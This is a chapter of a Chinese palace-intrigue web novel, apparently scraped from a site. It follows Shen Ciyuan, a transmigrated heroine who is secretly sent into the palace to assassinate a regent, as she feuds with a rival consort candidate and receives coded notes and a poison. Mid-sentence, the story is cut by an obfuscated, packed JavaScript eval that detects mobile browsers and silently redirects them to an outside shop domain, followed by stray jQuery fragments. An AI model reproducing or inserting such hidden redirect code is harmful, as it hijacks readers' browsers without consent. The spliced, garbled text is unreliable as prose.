“果然是冤家路窄,你们竟也住在这个院子里”。这声音带着熟悉的跋扈,不是郑绯缨又是谁?
沈辞鸢霎时头大如斗,这位祖宗怎么也跟自己同住了。
姜沅闻言立刻进入备战状态,杏眼一拧如小猫炸毛:“你竟然还敢出现在我的面前?方才那乌头明明就是你放在我荷包里的!这世上竟有你这般狠毒的女子,萍水相逢就要害我性命!”她越说越气,竟是不顾一切要上前打人。
沈辞鸢连忙拦住她,这傻丫头,竟如此随性而为,丝毫不顾及郑绯缨国公府嫡女的身份。郑绯缨又岂是会吃亏的人,见状即刻出言讥讽:“看你这副样子似是疯魔了吧?这般胡乱攀咬,如此做派如何入宫侍奉?我看就该禀报夏公公,即刻杖毙!”
这下便是连沈辞鸢也拉不住了,姜沅冲上去,伸出“猫爪”打算一挠解恨。郑绯缨则似乎早有防备,轻巧一躲姜沅便摔落在地,来了个“猫啃泥”。
“如此蠢货,真是白费了这张俏脸。”郑绯缨轻蔑的撇撇嘴,提着行李径直走向了采光最好的一处正屋。
“呜呜呜呜,姐姐你看她,你看她。”姜沅的小脸霎时间又变得湿漉漉。沈辞鸢无语,这下不用问了,这个冲动肆意又不太聪明的性格跟前世那位姜沅简直判若两人。不过,这性格倒也有些好处。瞧郑绯缨方才的神情只怕已不再将姜沅当作第一对手,大概后面也不会再下什么杀招了。
沈辞鸢叹了口气,扶起眼前这位笨蛋美人,擦了擦她脸上的土,好说歹说才终于哄她回了屋。这女孩子生的这般招眼,却又是这样冲动的性格,身在宫中往后只怕是要吃亏。不过沈辞鸢心中也有隐隐的羡慕,姜沅定是在家人的娇宠下才能养出这样的性子。想来,她这样的女孩子不会被赋予什么所谓使命,她进宫时一定是父母哭泣送别,万般不舍吧。
对比之下,沈辞鸢颇有些自怜自艾。想到自己那位名义上的父亲,以及他给自己下达的“任务”沈辞鸢步履变得沉重起来。等到她终于回到了自己的房间,御膳房送来的饭食早已凉透。一个圆脸宫女见她进屋,便立刻上茶,又重新热了饭食。恭敬的接过她的行李,麻利地收拾起来。
沈辞鸢暗赞,这宫里的宫女果然不一样,不多话又手脚麻利,比尚书府的强很多。想到尚书府她不禁想起了那几个被杀掉的嬷嬷丫鬟,心中有隐隐的愧疚。她当初确实深恨那些刁奴欺主,但却从未真的想过要她们的命,她闯宴会不过是想着打那些人一顿板子,让她们不敢再小觑她,谁知竟累了她们的性命,还是以那样惨烈的死法。
那残忍的手段……沈辞鸢心头一凉,她自然知道那手段是出自傅修之手,这样狠辣不留情面。这样一个人究竟为什么会对自己产生兴趣?又想到自己入宫的任务竟是要刺杀这位狠戾之人,一旦失败,自己的下场只怕不会比宋婆子她们强些。
与狼为伍,图谋杀虎。她摇摇头,这到底是什么鬼穿越,为何给她一个这样的难题。
胡思乱想之际,沈辞鸢用罢了晚膳。那唤作春芽的宫女已整理好她的床铺被褥,打了个千道:“明日辰时便要开始学规矩,小主早些休息吧,奴婢就睡在旁侧的小间,您有事招呼一声奴婢就过来了”。
夏公公防这些秀女甚紧,并不许她们自带丫鬟婆子,而是从宫里统一调派。每人拨一个二等宫女供她们贴身差遣,另每个院落配备四五个三等宫女和太监负责洒扫浆洗。这些宫女太监归常嬷嬷统一调配,并不归属哪位秀女。
这样的安排对于郑绯缨这种习惯了多人伺候的大小姐自然是不适应的,但是于沈辞鸢而言,只要有一个能干活的万事足矣,并不稀罕有多少人前呼后拥。
沈辞鸢点点头,正欲叫春芽退下。却忽见床边挂着一香包,外头秀工精细,内里似包着什么东西。她的箱笼里并无这样的香包,见此便问道:“这是何物?”
“那是下午御药房着人送来的安神香包,每个新进宫的小主都有一个。”春芽恭敬的回话。
听闻“御药房”三字,沈辞鸢心中一动,她继续追问:“可知道是哪个太监宫女送来的?”
春芽虽有些疑惑于沈辞鸢的追根究底,但仍恭敬的回道:“是御药房三等太监小徳子。”
沈辞鸢眼皮倏的一跳,挥手让春芽退下。待门关好,便即刻将那香包取下,三下五除二的拆开,果然在里面发现一张纸条:“未时开方”。
该来的总会来。沈辞鸢将纸条展开,迎着烛光点燃。她眉头紧锁,静静盯着那纸条被烛火吞噬,直至燃成灰烬。
因心中装着事,沈辞鸢一夜无眠,次日清晨她艰难醒来,强打着精神更衣梳洗。今日宫中的教习嬷嬷会来教规矩。这些新入宫的秀女们多是贵族出身,举止已带有些世家大族的规矩体面,因此教习嬷嬷便主要教授宫中规矩和宫廷礼仪。这些规矩虽然繁复,但却重要,因此绝不能迟到。
草草扒了两口饭,辞鸢急急忙忙的往屋外走去,谁知刚出院门便与一个端着一盆水的丫鬟撞了个满怀。
那丫鬟是院里伺候洒扫的三等宫女,见撞了主子,登时惊慌失措的跪下,不迭的叩头求饶。沈辞鸢心中又急又恼,只是一身宫装几乎湿了大半,无奈只得返回房间重新由春芽服侍着更衣梳洗,如此折腾一番直至辰初三刻才到了习教阁。
习教阁是宫中专门教导规矩礼仪之处。此时众秀女都已站定,教习嬷嬷是个姓孟的方脸嬷嬷,长得端庄肃穆,面无笑意,让人一见便不知如何安放手脚,这般长相仿佛生下来就是为了有朝一日成为教习嬷嬷。
此刻,孟嬷嬷正严肃的看着姗姗来迟的沈辞鸢,面色不善道:“沈小主怎起的这样晚?”她用的是“起的”,而不是“来的”,这便是一上来就给辞鸢定了罪。
沈辞鸢不敢怠慢,忙解释道:“出门时不慎与宫人相撞,因此耽搁了。”
还未等孟嬷嬷张口,郑绯缨先喊了起来:“巧言令色!人人皆能按时到达,怎么偏你迟了?说什么撞到了宫女,定是借口,嬷嬷您别轻纵了她!”
沈辞鸢心中恼火,面上却依旧波澜不惊,恭敬道:“奴婢不敢自辩,无论是何缘由,第一日教习就迟到皆是奴婢的不是。只是今晨与宫人相撞弄湿了裙摆,实在不得不换过后再出来见人。还请嬷嬷责罚。”
入宫后还未册封的秀女面对奴才太监一般都自称“我”,只有遇到上位的主子才自称“奴婢”,如今沈辞鸢以“奴婢”自称,显然是将教习嬷嬷视作师长。闻听此言,那孟嬷嬷面上好看了些,挥挥手道:“这第一次便罢了,下不为例,回去吧。”
沈辞鸢长舒一口气。她自小便是个听话的女孩,当年不论是学医还是女工刺绣,她皆是头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966675|214287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
筹,从未被师父责罚过,若是当众受罚面子上难免挂不住,此刻能免了责罚心中便安了些心。
她走到自己的位置站定,那位置刚好在郑绯缨前方,只听到身后一通嘈杂,那郑绯缨恨恨的在她身后说道:“别以为你能次次这么走运。”
沈辞鸢稳稳回敬道:“我可没说过撞我的是宫女。”
身后的嘈杂霎时停了。沈辞鸢心中又烦又好笑,这位郑姑娘好像特别擅长不打自招,那撞她的宫女八成又是她安排的。这大小姐不搞出点事来就浑身不自在,手段又恨,脑筋又蠢,偏偏次次搞事都能露出马脚,让人哭笑不得,也不胜其烦。
第一日的上午主要是熟悉宫规,课业并不繁重,孟嬷嬷午时便准点放她们用午膳,又体谅她们昨日回去的晚,便留了两个时辰让她们回屋归置行李,令她们申时再返回来上课,因此,用罢午膳,旁的秀女都返回屋中午憩时,辞鸢便称自己身子不适,前往了御药房。
宫中负责延医问药的有太医院和御药房两处。如果按民国后期时兴的西洋医院来分,太医院里的便是负责诊断开方的医生,而御药房里的则是负责抓药及实际治疗的护士。沈家的这位小德子便是御药房的三等护士。
沈辞鸢刚走进御药房,一个胖胖的小太监便迎上来打了个千:“问小主安,敢问小主何事来此?”
“昨日送到我房里的香囊漏了针脚,今日恰好得空我便来换一个。”沈辞鸢举起漏了线的香囊说道。
“哎呦,这点事哪值得您亲自跑一趟,您差人招呼一声,我们便送新的过去了。”御药房的太监各个都是人精,自然知道这帮秀女未来要伺候的不是那个傀儡皇帝,而是掌着实权的摄政王,因此对她们十分客气。那小胖太监招招手,另一个有些贼眉鼠眼的太监就恭敬的凑上来,小胖太监皱眉道:“昨天是哪个小崽子给这位小主送的香囊?怎的送了个开线的?”
贼眉鼠眼的太监问了沈辞鸢的名字,拿着册子一翻,便一脚踹向了一个正在撮药丸的小太监,厉声道:“小德子,你怎么当的差?还不快给沈小主拿个新的!”
小德子不过十四岁上下的年纪,面孔方方,看着有些呆头呆脑,他似是不敢直视沈辞鸢,忙打了个千,回后堂翻了翻,取了个崭新的香囊出来恭敬的递给沈辞鸢:“沈小主,您看看这个香囊如何,这里头装着驱蚊虫的好药,只是千万放的离饭食远些,若漏出来点误食了可了不得。”
沈辞鸢接过香囊走出御药房,便走便细细品着小德子的话。她轻笑,这沈钧倒真是聪明,放这么一个看着如此老实又低阶的小太监在御药房,谁能想到这么不起眼的太监竟是尚书府的线人。当初傅修入主皇城,几乎将皇宫的大小宫人换了个遍,更是揪出不少世家贵族的线人,偏这个小德子还能留在宫里,可见沈钧布局时的老辣心思。
她拿着香囊绕过几个宫室,寻了个隐秘的角落,拔下根簪子将香囊沿着缝线细细拆了,果然在里面又找到了一张纸条,“囊中药,入水即化。”
辞鸢取出随身带着的绣花针,将拆开的针脚细细缝好。这香囊及字条丝毫不给人留任何破绽,便是被旁人拿到也可分说是给囊中药物的药性作说明。非得配合着小德子的话一起听才能知道这药做什么,可见其缜密的心思。她当即觉得不能小看这个面上呆头呆脑的小德子。